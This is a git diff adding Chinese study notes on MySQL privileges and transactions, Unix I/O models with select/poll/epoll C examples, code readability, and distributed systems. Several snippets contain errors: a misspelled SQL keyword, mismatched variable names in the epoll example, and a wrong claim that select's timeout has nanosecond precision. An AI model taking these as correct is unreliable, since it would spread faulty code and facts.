通过设置 autocommit 为 0 可以取消自动提交;autocommit 标记是针对每个连接而不是针对服务器的。
|
||||
|
||||
如果没有设置保留点,ROLLBACK 会回退到 START TRANSACTION 语句处;如果设置了保留点,并且在 ROLLBACK 中指定该保留点,则会回退到该保留点。
|
||||
|
||||
```sql
|
||||
START TRANSACTION
|
||||
// ...
|
||||
SAVEPOINT delete1
|
||||
// ...
|
||||
ROLLBACK TO delete1
|
||||
// ...
|
||||
COMMIT
|
||||
```
|
||||
|
||||
# 二十二、字符集
|
||||
|
||||
基本术语:
|
||||
|
||||
- 字符集为字母和符号的集合;
|
||||
- 编码为某个字符集成员的内部表示;
|
||||
- 校对字符指定如何比较,主要用于排序和分组。
|
||||
|
||||
除了给表指定字符集和校对外,也可以给列指定:
|
||||
|
||||
```sql
|
||||
CREATE TABLE mytable
|
||||
(col VARCHAR(10) CHARACTER SET latin COLLATE latin1_general_ci )
|
||||
DEFAULT CHARACTER SET hebrew COLLATE hebrew_general_ci;
|
||||
```
|
||||
|
||||
可以在排序、分组时指定校对:
|
||||
|
||||
```sql
|
||||
SELECT *
|
||||
FROM mytable
|
||||
ORDER BY col COLLATE latin1_general_ci;
|
||||
```
|
||||
|
||||
# 二十三、权限管理
|
||||
|
||||
MySQL 的账户信息保存在 mysql 这个数据库中。
|
||||
|
||||
```sql
|
||||
USE mysql;
|
||||
SELECT user FROM user;
|
||||
```
|
||||
|
||||
**创建账户**
|
||||
|
||||
新创建的账户没有任何权限。
|
||||
|
||||
```sql
|
||||
CREATE USER myuser IDENTIFIED BY 'mypassword';
|
||||
```
|
||||
|
||||
**修改账户名**
|
||||
|
||||
```sql
|
||||
RENAME myuser TO newuser;
|
||||
```
|
||||
|
||||
**删除账户**
|
||||
|
||||
```sql
|
||||
DROP USER myuser;
|
||||
```
|
||||
|
||||
**查看权限**
|
||||
|
||||
```sql
|
||||
SHOW GRANTS FOR myuser;
|
||||
```
|
||||
|
||||
**授予权限**
|
||||
|
||||
账户用 username@host 的形式定义,username@% 使用的是默认主机名。
|
||||
|
||||
```sql
|
||||
GRANT SELECT, INSERT ON mydatabase.* TO myuser;
|
||||
```
|
||||
|
||||
**删除权限**
|
||||
|
||||
GRANT 和 REVOKE 可在几个层次上控制访问权限:
|
||||
|
||||
- 整个服务器,使用 GRANT ALL 和 REVOKE ALL;
|
||||
- 整个数据库,使用 ON database.\*;
|
||||
- 特定的表,使用 ON database.table;
|
||||
- 特定的列;
|
||||
- 特定的存储过程。
|
||||
|
||||
```sql
|
||||
REVOKE SELECT, INSERT ON mydatabase.* FROM myuser;
|
||||
```
|
||||
|
||||
**更改密码**
|
||||
|
||||
必须使用 Password() 函数
|
||||
|
||||
```sql
|
||||
SET PASSWROD FOR myuser = Password('new_password');
|
||||
```
|
||||
|
||||
# 参考资料
|
||||
|
||||
- BenForta. SQL 必知必会 [M]. 人民邮电出版社, 2013.
|
323
docs/notes/Socket.md
Normal file
323
docs/notes/Socket.md
Normal file
@ -0,0 +1,323 @@
|
||||
<!-- GFM-TOC -->
|
||||
* [一、I/O 模型](#一io-模型)
|
||||
* [阻塞式 I/O](#阻塞式-io)
|
||||
* [非阻塞式 I/O](#非阻塞式-io)
|
||||
* [I/O 复用](#io-复用)
|
||||
* [信号驱动 I/O](#信号驱动-io)
|
||||
* [异步 I/O](#异步-io)
|
||||
* [五大 I/O 模型比较](#五大-io-模型比较)
|
||||
* [二、I/O 复用](#二io-复用)
|
||||
* [select](#select)
|
||||
* [poll](#poll)
|
||||
* [比较](#比较)
|
||||
* [epoll](#epoll)
|
||||
* [工作模式](#工作模式)
|
||||
* [应用场景](#应用场景)
|
||||
* [参考资料](#参考资料)
|
||||
<!-- GFM-TOC -->
|
||||
|
||||
|
||||
# 一、I/O 模型
|
||||
|
||||
一个输入操作通常包括两个阶段:
|
||||
|
||||
- 等待数据准备好
|
||||
- 从内核向进程复制数据
|
||||
|
||||
对于一个套接字上的输入操作,第一步通常涉及等待数据从网络中到达。当所等待数据到达时,它被复制到内核中的某个缓冲区。第二步就是把数据从内核缓冲区复制到应用进程缓冲区。
|
||||
|
||||
Unix 有五种 I/O 模型:
|
||||
|
||||
- 阻塞式 I/O
|
||||
- 非阻塞式 I/O
|
||||
- I/O 复用(select 和 poll)
|
||||
- 信号驱动式 I/O(SIGIO)
|
||||
- 异步 I/O(AIO)
|
||||
|
||||
## 阻塞式 I/O
|
||||
|
||||
应用进程被阻塞,直到数据复制到应用进程缓冲区中才返回。
|
||||
|
||||
应该注意到,在阻塞的过程中,其它程序还可以执行,因此阻塞不意味着整个操作系统都被阻塞。因为其他程序还可以执行,所以不消耗 CPU 时间,这种模型的 CPU 利用率效率会比较高。
|
||||
|
||||
下图中,recvfrom 用于接收 Socket 传来的数据,并复制到应用进程的缓冲区 buf 中。这里把 recvfrom() 当成系统调用。
|
||||
|
||||
```c
|
||||
ssize_t recvfrom(int sockfd, void *buf, size_t len, int flags, struct sockaddr *src_addr, socklen_t *addrlen);
|
||||
```
|
||||
|
||||
<div align="center"> <img src="../pics//1492928416812_4.png"/> </div><br>
|
||||
|
||||
## 非阻塞式 I/O
|
||||
|
||||
应用进程执行系统调用之后,内核返回一个错误码。应用进程可以继续执行,但是需要不断的执行系统调用来获知 I/O 是否完成,这种方式称为轮询(polling)。
|
||||
|
||||
由于 CPU 要处理更多的系统调用,因此这种模型的 CPU 利用率是比较低的。
|
||||
|
||||
<div align="center"> <img src="../pics//1492929000361_5.png"/> </div><br>
|
||||
|
||||
## I/O 复用
|
||||
|
||||
使用 select 或者 poll 等待数据,并且可以等待多个套接字中的任何一个变为可读。这一过程会被阻塞,当某一个套接字可读时返回,之后再使用 recvfrom 把数据从内核复制到进程中。
|
||||
|
||||
它可以让单个进程具有处理多个 I/O 事件的能力。又被称为 Event Driven I/O,即事件驱动 I/O。
|
||||
|
||||
如果一个 Web 服务器没有 I/O 复用,那么每一个 Socket 连接都需要创建一个线程去处理。如果同时有几万个连接,那么就需要创建相同数量的线程。相比于多进程和多线程技术,I/O 复用不需要进程线程创建和切换的开销,系统开销更小。
|
||||
|
||||
<div align="center"> <img src="../pics//1492929444818_6.png"/> </div><br>
|
||||
|
||||
## 信号驱动 I/O
|
||||
|
||||
应用进程使用 sigaction 系统调用,内核立即返回,应用进程可以继续执行,也就是说等待数据阶段应用进程是非阻塞的。内核在数据到达时向应用进程发送 SIGIO 信号,应用进程收到之后在信号处理程序中调用 recvfrom 将数据从内核复制到应用进程中。
|
||||
|
||||
相比于非阻塞式 I/O 的轮询方式,信号驱动 I/O 的 CPU 利用率更高。
|
||||
|
||||
<div align="center"> <img src="../pics//1492929553651_7.png"/> </div><br>
|
||||
|
||||
## 异步 I/O
|
||||
|
||||
应用进程执行 aio_read 系统调用会立即返回,应用进程可以继续执行,不会被阻塞,内核会在所有操作完成之后向应用进程发送信号。
|
||||
|
||||
异步 I/O 与信号驱动 I/O 的区别在于,异步 I/O 的信号是通知应用进程 I/O 完成,而信号驱动 I/O 的信号是通知应用进程可以开始 I/O。
|
||||
|
||||
<div align="center"> <img src="../pics//1492930243286_8.png"/> </div><br>
|
||||
|
||||
## 五大 I/O 模型比较
|
||||
|
||||
- 同步 I/O:将数据从内核缓冲区复制到应用进程缓冲区的阶段,应用进程会阻塞。
|
||||
- 异步 I/O:不会阻塞。
|
||||
|
||||
阻塞式 I/O、非阻塞式 I/O、I/O 复用和信号驱动 I/O 都是同步 I/O,它们的主要区别在第一个阶段。
|
||||
|
||||
非阻塞式 I/O 、信号驱动 I/O 和异步 I/O 在第一阶段不会阻塞。
|
||||
|
||||
<div align="center"> <img src="../pics//1492928105791_3.png"/> </div><br>
|
||||
|
||||
# 二、I/O 复用
|
||||
|
||||
select/poll/epoll 都是 I/O 多路复用的具体实现,select 出现的最早,之后是 poll,再是 epoll。
|
||||
|
||||
## select
|
||||
|
||||
```c
|
||||
int select(int n, fd_set *readfds, fd_set *writefds, fd_set *exceptfds, struct timeval *timeout);
|
||||
```
|
||||
|
||||
有三种类型的描述符类型:readset、writeset、exceptset,分别对应读、写、异常条件的描述符集合。fd_set 使用数组实现,数组大小使用 FD_SETSIZE 定义。
|
||||
|
||||
timeout 为超时参数,调用 select 会一直阻塞直到有描述符的事件到达或者等待的时间超过 timeout。
|
||||
|
||||
成功调用返回结果大于 0,出错返回结果为 -1,超时返回结果为 0。
|
||||
|
||||
```c
|
||||
fd_set fd_in, fd_out;
|
||||
struct timeval tv;
|
||||
|
||||
// Reset the sets
|
||||
FD_ZERO( &fd_in );
|
||||
FD_ZERO( &fd_out );
|
||||
|
||||
// Monitor sock1 for input events
|
||||
FD_SET( sock1, &fd_in );
|
||||
|
||||
// Monitor sock2 for output events
|
||||
FD_SET( sock2, &fd_out );
|
||||
|
||||
// Find out which socket has the largest numeric value as select requires it
|
||||
int largest_sock = sock1 > sock2 ? sock1 : sock2;
|
||||
|
||||
// Wait up to 10 seconds
|
||||
tv.tv_sec = 10;
|
||||
tv.tv_usec = 0;
|
||||
|
||||
// Call the select
|
||||
int ret = select( largest_sock + 1, &fd_in, &fd_out, NULL, &tv );
|
||||
|
||||
// Check if select actually succeed
|
||||
if ( ret == -1 )
|
||||
// report error and abort
|
||||
else if ( ret == 0 )
|
||||
// timeout; no event detected
|
||||
else
|
||||
{
|
||||
if ( FD_ISSET( sock1, &fd_in ) )
|
||||
// input event on sock1
|
||||
|
||||
if ( FD_ISSET( sock2, &fd_out ) )
|
||||
// output event on sock2
|
||||
}
|
||||
```
|
||||
|
||||
## poll
|
||||
|
||||
```c
|
||||
int poll(struct pollfd *fds, unsigned int nfds, int timeout);
|
||||
```
|
||||
|
||||
pollfd 使用链表实现。
|
||||
|
||||
```c
|
||||
// The structure for two events
|
||||
struct pollfd fds[2];
|
||||
|
||||
// Monitor sock1 for input
|
||||
fds[0].fd = sock1;
|
||||
fds[0].events = POLLIN;
|
||||
|
||||
// Monitor sock2 for output
|
||||
fds[1].fd = sock2;
|
||||
fds[1].events = POLLOUT;
|
||||
|
||||
// Wait 10 seconds
|
||||
int ret = poll( &fds, 2, 10000 );
|
||||
// Check if poll actually succeed
|
||||
if ( ret == -1 )
|
||||
// report error and abort
|
||||
else if ( ret == 0 )
|
||||
// timeout; no event detected
|
||||
else
|
||||
{
|
||||
// If we detect the event, zero it out so we can reuse the structure
|
||||
if ( fds[0].revents & POLLIN )
|
||||
fds[0].revents = 0;
|
||||
// input event on sock1
|
||||
|
||||
if ( fds[1].revents & POLLOUT )
|
||||
fds[1].revents = 0;
|
||||
// output event on sock2
|
||||
}
|
||||
```
|
||||
|
||||
## 比较
|
||||
|
||||
### 1. 功能
|
||||
|
||||
select 和 poll 的功能基本相同,不过在一些实现细节上有所不同。
|
||||
|
||||
- select 会修改描述符,而 poll 不会;
|
||||
- select 的描述符类型使用数组实现,FD_SETSIZE 大小默认为 1024,因此默认只能监听 1024 个描述符。如果要监听更多描述符的话,需要修改 FD_SETSIZE 之后重新编译;而 poll 的描述符类型使用链表实现,没有描述符数量的限制;
|
||||
- poll 提供了更多的事件类型,并且对描述符的重复利用上比 select 高。
|
||||
- 如果一个线程对某个描述符调用了 select 或者 poll,另一个线程关闭了该描述符,会导致调用结果不确定。
|
||||
|
||||
### 2. 速度
|
||||
|
||||
select 和 poll 速度都比较慢。
|
||||
|
||||
- select 和 poll 每次调用都需要将全部描述符从应用进程缓冲区复制到内核缓冲区。
|
||||
- select 和 poll 的返回结果中没有声明哪些描述符已经准备好,所以如果返回值大于 0 时,应用进程都需要使用轮询的方式来找到 I/O 完成的描述符。
|
||||
|
||||
### 3. 可移植性
|
||||
|
||||
几乎所有的系统都支持 select,但是只有比较新的系统支持 poll。
|
||||
|
||||
## epoll
|
||||
|
||||
```c
|
||||
int epoll_create(int size);
|
||||
int epoll_ctl(int epfd, int op, int fd, struct epoll_event *event);
|
||||
int epoll_wait(int epfd, struct epoll_event * events, int maxevents, int timeout);
|
||||
```
|
||||
|
||||
epoll_ctl() 用于向内核注册新的描述符或者是改变某个文件描述符的状态。已注册的描述符在内核中会被维护在一棵红黑树上,通过回调函数内核会将 I/O 准备好的描述符加入到一个链表中管理,进程调用 epoll_wait() 便可以得到事件完成的描述符。
|
||||
|
||||
从上面的描述可以看出,epoll 只需要将描述符从进程缓冲区向内核缓冲区拷贝一次,并且进程不需要通过轮询来获得事件完成的描述符。
|
||||
|
||||
epoll 仅适用于 Linux OS。
|
||||
|
||||
epoll 比 select 和 poll 更加灵活而且没有描述符数量限制。
|
||||
|
||||
epoll 对多线程编程更有友好,一个线程调用了 epoll_wait() 另一个线程关闭了同一个描述符也不会产生像 select 和 poll 的不确定情况。
|
||||
|
||||
```c
|
||||
// Create the epoll descriptor. Only one is needed per app, and is used to monitor all sockets.
|
||||
// The function argument is ignored (it was not before, but now it is), so put your favorite number here
|
||||
int pollingfd = epoll_create( 0xCAFE );
|
||||
|
||||
if ( pollingfd < 0 )
|
||||
// report error
|
||||
|
||||
// Initialize the epoll structure in case more members are added in future
|
||||
struct epoll_event ev = { 0 };
|
||||
|
||||
// Associate the connection class instance with the event. You can associate anything
|
||||
// you want, epoll does not use this information. We store a connection class pointer, pConnection1
|
||||
ev.data.ptr = pConnection1;
|
||||
|
||||
// Monitor for input, and do not automatically rearm the descriptor after the event
|
||||
ev.events = EPOLLIN | EPOLLONESHOT;
|
||||
// Add the descriptor into the monitoring list. We can do it even if another thread is
|
||||
// waiting in epoll_wait - the descriptor will be properly added
|
||||
if ( epoll_ctl( epollfd, EPOLL_CTL_ADD, pConnection1->getSocket(), &ev ) != 0 )
|
||||
// report error
|
||||
|
||||
// Wait for up to 20 events (assuming we have added maybe 200 sockets before that it may happen)
|
||||
struct epoll_event pevents[ 20 ];
|
||||
|
||||
// Wait for 10 seconds, and retrieve less than 20 epoll_event and store them into epoll_event array
|
||||
int ready = epoll_wait( pollingfd, pevents, 20, 10000 );
|
||||
// Check if epoll actually succeed
|
||||
if ( ret == -1 )
|
||||
// report error and abort
|
||||
else if ( ret == 0 )
|
||||
// timeout; no event detected
|
||||
else
|
||||
{
|
||||
// Check if any events detected
|
||||
for ( int i = 0; i < ret; i++ )
|
||||
{
|
||||
if ( pevents[i].events & EPOLLIN )
|
||||
{
|
||||
// Get back our connection pointer
|
||||
Connection * c = (Connection*) pevents[i].data.ptr;
|
||||
c->handleReadEvent();
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
|
||||
## 工作模式
|
||||
|
||||
epoll 的描述符事件有两种触发模式:LT(level trigger)和 ET(edge trigger)。
|
||||
|
||||
### 1. LT 模式
|
||||
|
||||
当 epoll_wait() 检测到描述符事件到达时,将此事件通知进程,进程可以不立即处理该事件,下次调用 epoll_wait() 会再次通知进程。是默认的一种模式,并且同时支持 Blocking 和 No-Blocking。
|
||||
|
||||
### 2. ET 模式
|
||||
|
||||
和 LT 模式不同的是,通知之后进程必须立即处理事件,下次再调用 epoll_wait() 时不会再得到事件到达的通知。
|
||||
|
||||
很大程度上减少了 epoll 事件被重复触发的次数,因此效率要比 LT 模式高。只支持 No-Blocking,以避免由于一个文件句柄的阻塞读/阻塞写操作把处理多个文件描述符的任务饿死。
|
||||
|
||||
## 应用场景
|
||||
|
||||
很容易产生一种错觉认为只要用 epoll 就可以了,select 和 poll 都已经过时了,其实它们都有各自的使用场景。
|
||||
|
||||
### 1. select 应用场景
|
||||
|
||||
select 的 timeout 参数精度为 1ns,而 poll 和 epoll 为 1ms,因此 select 更加适用于实时性要求比较高的场景,比如核反应堆的控制。
|
||||
|
||||
select 可移植性更好,几乎被所有主流平台所支持。
|
||||
|
||||
### 2. poll 应用场景
|
||||
|
||||
poll 没有最大描述符数量的限制,如果平台支持并且对实时性要求不高,应该使用 poll 而不是 select。
|
||||
|
||||
### 3. epoll 应用场景
|
||||
|
||||
只需要运行在 Linux 平台上,有大量的描述符需要同时轮询,并且这些连接最好是长连接。
|
||||
|
||||
需要同时监控小于 1000 个描述符,就没有必要使用 epoll,因为这个应用场景下并不能体现 epoll 的优势。
|
||||
|
||||
需要监控的描述符状态变化多,而且都是非常短暂的,也没有必要使用 epoll。因为 epoll 中的所有描述符都存储在内核中,造成每次需要对描述符的状态改变都需要通过 epoll_ctl() 进行系统调用,频繁系统调用降低效率。并且 epoll 的描述符存储在内核,不容易调试。
|
||||
|
||||
# 参考资料
|
||||
|
||||
- Stevens W R, Fenner B, Rudoff A M. UNIX network programming[M]. Addison-Wesley Professional, 2004.
|
||||
- [Boost application performance using asynchronous I/O](https://www.ibm.com/developerworks/linux/library/l-async/)
|
||||
- [Synchronous and Asynchronous I/O](https://msdn.microsoft.com/en-us/library/windows/desktop/aa365683(v=vs.85).aspx)
|
||||
- [Linux IO 模式及 select、poll、epoll 详解](https://segmentfault.com/a/1190000003063859)
|
||||
- [poll vs select vs event-based](https://daniel.haxx.se/docs/poll-vs-select.html)
|
||||
- [select / poll / epoll: practical difference for system architects](http://www.ulduzsoft.com/2014/01/select-poll-epoll-practical-difference-for-system-architects/)
|
||||
- [Browse the source code of userspace/glibc/sysdeps/unix/sysv/linux/ online](https://code.woboq.org/userspace/glibc/sysdeps/unix/sysv/linux/)
|
330
docs/notes/代码可读性.md
Normal file
330
docs/notes/代码可读性.md
Normal file
@ -0,0 +1,330 @@
|
||||
<!-- GFM-TOC -->
|
||||
* [一、可读性的重要性](#一可读性的重要性)
|
||||
* [二、用名字表达代码含义](#二用名字表达代码含义)
|
||||
* [三、名字不能带来歧义](#三名字不能带来歧义)
|
||||
* [四、良好的代码风格](#四良好的代码风格)
|
||||
* [五、为何编写注释](#五为何编写注释)
|
||||
* [六、如何编写注释](#六如何编写注释)
|
||||
* [七、提高控制流的可读性](#七提高控制流的可读性)
|
||||
* [八、拆分长表达式](#八拆分长表达式)
|
||||
* [九、变量与可读性](#九变量与可读性)
|
||||
* [十、抽取函数](#十抽取函数)
|
||||
* [十一、一次只做一件事](#十一一次只做一件事)
|
||||
* [十二、用自然语言表述代码](#十二用自然语言表述代码)
|
||||
* [十三、减少代码量](#十三减少代码量)
|
||||
* [参考资料](#参考资料)
|
||||
<!-- GFM-TOC -->
|
||||
|
||||
|
||||
# 一、可读性的重要性
|
||||
|
||||
编程有很大一部分时间是在阅读代码,不仅要阅读自己的代码,而且要阅读别人的代码。因此,可读性良好的代码能够大大提高编程效率。
|
||||
|
||||
可读性良好的代码往往会让代码架构更好,因为程序员更愿意去修改这部分代码,而且也更容易修改。
|
||||
|
||||
只有在核心领域为了效率才可以放弃可读性,否则可读性是第一位。
|
||||
|
||||
# 二、用名字表达代码含义
|
||||
|
||||
一些比较有表达力的单词:
|
||||
|
||||
| 单词 | 可替代单词 |
|
||||
| :---: | --- |
|
||||
| send | deliver、dispatch、announce、distribute、route |
|
||||
| find | search、extract、locate、recover |
|
||||
| start| launch、create、begin、open|
|
||||
| make | create、set up、build、generate、compose、add、new |
|
||||
|
||||
使用 i、j、k 作为循环迭代器的名字过于简单,user_i、member_i 这种名字会更有表达力。因为循环层次越多,代码越难理解,有表达力的迭代器名字可读性会更高。
|
||||
|
||||
为名字添加形容词等信息能让名字更具有表达力,但是名字也会变长。名字长短的准则是:作用域越大,名字越长。因此只有在短作用域才能使用一些简单名字。
|
||||
|
||||
# 三、名字不能带来歧义
|
||||
|
||||
起完名字要思考一下别人会对这个名字有何解读,会不会误解了原本想表达的含义。
|
||||
|
||||
布尔相关的命名加上 is、can、should、has 等前缀。
|
||||
|
||||
- 用 min、max 表示数量范围;
|
||||
- 用 first、last 表示访问空间的包含范围;
|
||||
- begin、end 表示访问空间的排除范围,即 end 不包含尾部。
|
||||
|
||||
<div align="center"> <img src="../pics//05907ab4-42c5-4b5e-9388-6617f6c97bea.jpg"/> </div><br>
|
||||
|
||||
# 四、良好的代码风格
|
||||
|
||||
适当的空行和缩进。
|
||||
|
||||
排列整齐的注释:
|
||||
|
||||
```java
|
||||
int a = 1; // 注释
|
||||
int b = 11; // 注释
|
||||
int c = 111; // 注释
|
||||
```
|
||||
|
||||
语句顺序不能随意,比如与 html 表单相关联的变量的赋值应该和表单在 html 中的顺序一致。
|
||||
|
||||
# 五、为何编写注释
|
||||
|
||||
阅读代码首先会注意到注释,如果注释没太大作用,那么就会浪费代码阅读的时间。那些能直接看出含义的代码不需要写注释,特别是并不需要为每个方法都加上注释,比如那些简单的 getter 和 setter 方法,为这些方法写注释反而让代码可读性更差。
|
||||
|
||||
不能因为有注释就随便起个名字,而是争取起个好名字而不写注释。
|
||||
|
||||
可以用注释来记录采用当前解决办法的思考过程,从而让读者更容易理解代码。
|
||||
|
||||
注释用来提醒一些特殊情况。
|
||||
|
||||
用 TODO 等做标记:
|
||||
|
||||
| 标记 | 用法 |
|
||||
|---|---|
|
||||
|TODO| 待做 |
|
||||
|FIXME| 待修复 |
|
||||
|HACK| 粗糙的解决方案 |
|
||||
|XXX| 危险!这里有重要的问题 |
|
||||
|
||||
# 六、如何编写注释
|
||||
|
||||
尽量简洁明了:
|
||||
|
||||
```java
|
||||
// The first String is student's name
|
||||
// The Second Integer is student's score
|
||||
Map<String, Integer> scoreMap = new HashMap<>();
|
||||
```
|
||||
|
||||
```java
|
||||
// Student's name -> Student's score
|
||||
Map<String, Integer> scoreMap = new HashMap<>();
|
||||
```
|
||||
|
||||
添加测试用例来说明:
|
||||
|
||||
```java
|
||||
// ...
|
||||
// Example: add(1, 2), return 3
|
||||
int add(int x, int y) {
|
||||
return x + y;
|
||||
}
|
||||
```
|
||||
|
||||
使用专业名词来缩短概念上的解释,比如用设计模式名来说明代码。
|
||||
|
||||
# 七、提高控制流的可读性
|
||||
|
||||
条件表达式中,左侧是变量,右侧是常数。比如下面第一个语句正确:
|
||||
|
||||
```java
|
||||
if (len < 10)
|
||||
if (10 > len)
|
||||
```
|
||||
|
||||
只有在逻辑简单的情况下使用 ? : 三目运算符来使代码更紧凑,否则应该拆分成 if / else;
|
||||
|
||||
do / while 的条件放在后面,不够简单明了,并且会有一些迷惑的地方,最好使用 while 来代替。
|
||||
|
||||
如果只有一个 goto 目标,那么 goto 尚且还能接受,但是过于复杂的 goto 会让代码可读性特别差,应该避免使用 goto。
|
||||
|
||||
在嵌套的循环中,用一些 return 语句往往能减少嵌套的层数。
|
||||
|
||||
# 八、拆分长表达式
|
||||
|
||||
长表达式的可读性很差,可以引入一些解释变量从而拆分表达式:
|
||||
|
||||
```python
|
||||
if line.split(':')[0].strip() == "root":
|
||||
...
|
||||
```
|
||||
```python
|
||||
username = line.split(':')[0].strip()
|
||||
if username == "root":
|
||||
...
|
||||
```
|
||||
|
||||
使用摩根定理简化一些逻辑表达式:
|
||||
|
||||
```java
|
||||
if (!a && !b) {
|
||||
...
|
||||
}
|
||||
```
|
||||
```java
|
||||
if (!(a || b)) {
|
||||
...
|
||||
}
|
||||
```
|
||||
|
||||
# 九、变量与可读性
|
||||
|
||||
**去除控制流变量** 。在循环中通过使用 break 或者 return 可以减少控制流变量的使用。
|
||||
|
||||
```java
|
||||
boolean done = false;
|
||||
while (/* condition */ && !done) {
|
||||
...
|
||||
if ( ... ) {
|
||||
done = true;
|
||||
continue;
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
```java
|
||||
while(/* condition */) {
|
||||
...
|
||||
if ( ... ) {
|
||||
break;
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
**减小变量作用域** 。作用域越小,越容易定位到变量所有使用的地方。
|
||||
|
||||
JavaScript 可以用闭包减小作用域。以下代码中 submit_form 是函数变量,submitted 变量控制函数不会被提交两次。第一个实现中 submitted 是全局变量,第二个实现把 submitted 放到匿名函数中,从而限制了起作用域范围。
|
||||
|
||||
```js
|
||||
submitted = false;
|
||||
var submit_form = function(form_name) {
|
||||
if (submitted) {
|
||||
return;
|
||||
}
|
||||
submitted = true;
|
||||
};
|
||||
```
|
||||
|
||||
```js
|
||||
var submit_form = (function() {
|
||||
var submitted = false;
|
||||
return function(form_name) {
|
||||
if(submitted) {
|
||||
return;
|
||||
}
|
||||
submitted = true;
|
||||
}
|
||||
}()); // () 使得外层匿名函数立即执行
|
||||
```
|
||||
|
||||
JavaScript 中没有用 var 声明的变量都是全局变量,而全局变量很容易造成迷惑,因此应当总是用 var 来声明变量。
|
||||
|
||||
变量定义的位置应当离它使用的位置最近。
|
||||
|
||||
**实例解析**
|
||||
|
||||
在一个网页中有以下文本输入字段:
|
||||
|
||||
```html
|
||||
<input type = "text" id = "input1" value = "a">
|
||||
<input type = "text" id = "input2" value = "b">
|
||||
<input type = "text" id = "input3" value = "">
|
||||
<input type = "text" id = "input4" value = "d">
|
||||
```
|
||||
|
||||
现在要接受一个字符串并把它放到第一个空的 input 字段中,初始实现如下:
|
||||
|
||||
```js
|
||||
var setFirstEmptyInput = function(new_alue) {
|
||||
var found = false;
|
||||
var i = 1;
|
||||
var elem = document.getElementById('input' + i);
|
||||
while (elem != null) {
|
||||
if (elem.value === '') {
|
||||
found = true;
|
||||
break;
|
||||
}
|
||||
i++;
|
||||
elem = document.getElementById('input' + i);
|
||||
}
|
||||
if (found) elem.value = new_value;
|
||||
return elem;
|
||||
}
|
||||
```
|
||||
|
||||
以上实现有以下问题:
|
||||
|
||||
- found 可以去除;
|
||||
- elem 作用域过大;
|
||||
- 可以用 for 循环代替 while 循环;
|
||||
|
||||
```js
|
||||
var setFirstEmptyInput = function(new_value) {
|
||||
for (var i = 1; true; i++) {
|
||||
var elem = document.getElementById('input' + i);
|
||||
if (elem === null) {
|
||||
return null;
|
||||
}
|
||||
if (elem.value === '') {
|
||||
elem.value = new_value;
|
||||
return elem;
|
||||
}
|
||||
}
|
||||
};
|
||||
```
|
||||
|
||||
# 十、抽取函数
|
||||
|
||||
工程学就是把大问题拆分成小问题再把这些问题的解决方案放回一起。
|
||||
|
||||
首先应该明确一个函数的高层次目标,然后对于不是直接为了这个目标工作的代码,抽取出来放到独立的函数中。
|
||||
|
||||
介绍性的代码:
|
||||
|
||||
```java
|
||||
int findClostElement(int[] arr) {
|
||||
int clostIdx;
|
||||
int clostDist = Interger.MAX_VALUE;
|
||||
for (int i = 0; i < arr.length; i++) {
|
||||
int x = ...;
|
||||
int y = ...;
|
||||
int z = ...;
|
||||
int value = x * y * z;
|
||||
int dist = Math.sqrt(Math.pow(value, 2), Math.pow(arr[i], 2));
|
||||
if (dist < clostDist) {
|
||||
clostIdx = i;
|
||||
clostDist = value;
|
||||
}
|
||||
}
|
||||
return clostIdx;
|
||||
}
|
||||
```
|
||||
|
||||
以上代码中循环部分主要计算距离,这部分不属于代码高层次目标,高层次目标是寻找最小距离的值,因此可以把这部分代替提取到独立的函数中。这样做也带来一个额外的好处有:可以单独进行测试、可以快速找到程序错误并修改。
|
||||
|
||||
```java
|
||||
public int findClostElement(int[] arr) {
|
||||
int clostIdx;
|
||||
int clostDist = Interger.MAX_VALUE;
|
||||
for (int i = 0; i < arr.length; i++) {
|
||||
int dist = computDist(arr, i);
|
||||
if (dist < clostDist) {
|
||||
clostIdx = i;
|
||||
clostDist = value;
|
||||
}
|
||||
}
|
||||
return clostIdx;
|
||||
}
|
||||
```
|
||||
|
||||
并不是函数抽取的越多越好,如果抽取过多,在阅读代码的时候可能需要不断跳来跳去。只有在当前函数不需要去了解某一块代码细节而能够表达其内容时,把这块代码抽取成子函数才是好的。
|
||||
|
||||
函数抽取也用于减小代码的冗余。
|
||||
|
||||
# 十一、一次只做一件事
|
||||
|
||||
只做一件事的代码很容易让人知道其要做的事;
|
||||
|
||||
基本流程:列出代码所做的所有任务;把每个任务拆分到不同的函数,或者不同的段落。
|
||||
|
||||
# 十二、用自然语言表述代码
|
||||
|
||||
先用自然语言书写代码逻辑,也就是伪代码,然后再写代码,这样代码逻辑会更清晰。
|
||||
|
||||
# 十三、减少代码量
|
||||
|
||||
不要过度设计,编码过程会有很多变化,过度设计的内容到最后往往是无用的。
|
||||
|
||||
多用标准库实现。
|
||||
|
||||
# 参考资料
|
||||
|
||||
- Dustin, Boswell, Trevor, 等. 编写可读代码的艺术 [M]. 机械工业出版社, 2012.
|
7
docs/notes/代码风格规范.md
Normal file
7
docs/notes/代码风格规范.md
Normal file
@ -0,0 +1,7 @@
|
||||
<!-- GFM-TOC -->
|
||||
<!-- GFM-TOC -->
|
||||
|
||||
|
||||
- [Twitter Java Style Guide](https://github.com/twitter/commons/blob/master/src/java/com/twitter/common/styleguide.md)
|
||||
- [Google Java Style Guide](http://google.github.io/styleguide/javaguide.html)
|
||||
- [阿里巴巴Java开发手册](https://github.com/alibaba/p3c/blob/master/%E9%98%BF%E9%87%8C%E5%B7%B4%E5%B7%B4Java%E5%BC%80%E5%8F%91%E6%89%8B%E5%86%8C%EF%BC%88%E8%AF%A6%E5%B0%BD%E7%89%88%EF%BC%89.pdf)
|
344
docs/notes/分布式.md
Normal file
344
docs/notes/分布式.md
Normal file
@ -0,0 +1,344 @@
|
||||
<!-- GFM-TOC -->
|
||||
* [一、分布式锁](#一分布式锁)
|
||||
* [数据库的唯一索引](#数据库的唯一索引)
|
||||
* [Redis 的 SETNX 指令](#redis-的-setnx-指令)
|
||||
* [Redis 的 RedLock 算法](#redis-的-redlock-算法)
|
||||
* [Zookeeper 的有序节点](#zookeeper-的有序节点)
|
||||
* [二、分布式事务](#二分布式事务)
|
||||
* [本地消息表](#本地消息表)
|
||||
* [2PC](#2pc)
|
||||
* [三、CAP](#三cap)
|
||||
* [一致性](#一致性)
|
||||
* [可用性](#可用性)
|
||||
* [分区容忍性](#分区容忍性)
|
||||
* [权衡](#权衡)
|
||||
* [四、BASE](#四base)
|
||||
* [基本可用](#基本可用)
|
||||
* [软状态](#软状态)
|
||||
* [最终一致性](#最终一致性)
|
||||
* [五、Paxos](#五paxos)
|
||||
